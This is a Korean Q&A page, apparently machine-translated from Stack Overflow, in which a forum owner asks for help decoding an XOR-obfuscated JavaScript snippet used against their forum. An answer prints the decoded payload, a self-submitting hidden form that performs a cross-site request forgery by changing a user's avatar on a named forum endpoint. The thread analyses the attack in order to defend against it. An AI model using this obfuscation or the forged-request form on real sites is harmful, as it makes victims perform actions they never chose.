2011-09-29 9 views
2

누군가 내 포럼을 괴롭히기 위해 이상한 스크립트를 사용하고 있습니다. 추적하여 자바 스크립트를 찾았지만 "인코딩 됨", 누군가 나를 도울 수 있습니까?자바 스크립트가 인코딩 되었습니까?

여기

그것이 :

<script language="javascript"> 
var enkripsi="'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'[email protected]'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'[email protected]'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli); 
</script> 
+0

도움말을 디코딩? 언 패킹 또는 '디코딩'논리는 명시 적으로 말할 수있는 한, 당신은 작업을 되돌려 야합니다. 난 아직도 당신이 다른 쪽 끝에 축소 된/난독 화 된 자바 스크립트를 얻을 것이라고 생각하지만, 누가 알겠습니까. –

+3

포럼 게시물 (또는 게시자가 게시하는 곳)에 '

0

OWASP has great info는 deobfuscated 자바 스크립트 코드입니다 :

<body onLoad="submit_form();"> 
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST"> 
    <input type="hidden" name="callCount" value="1"> 
    <input type="hidden" name="c0-scriptName" value="UserFunctions"> 
    <input type="hidden" name="c0-methodName" value="updateUserAvatar"> 
    <input type="hidden" name="c0-id" value="5877_1317262737173"> 
    <input type="hidden" name="c0-param0" value="string:5099"> 
    <input type="hidden" name="xml" value="true"> 
    Please click here: <input type="submit" value="Continue..." /></p> 
</form> 

<script language="javascript"> 
    <!-- 
    function submit_form() 
    { 
    document.myform.submit() 
    } 
    --> 
</script> 
관련 문제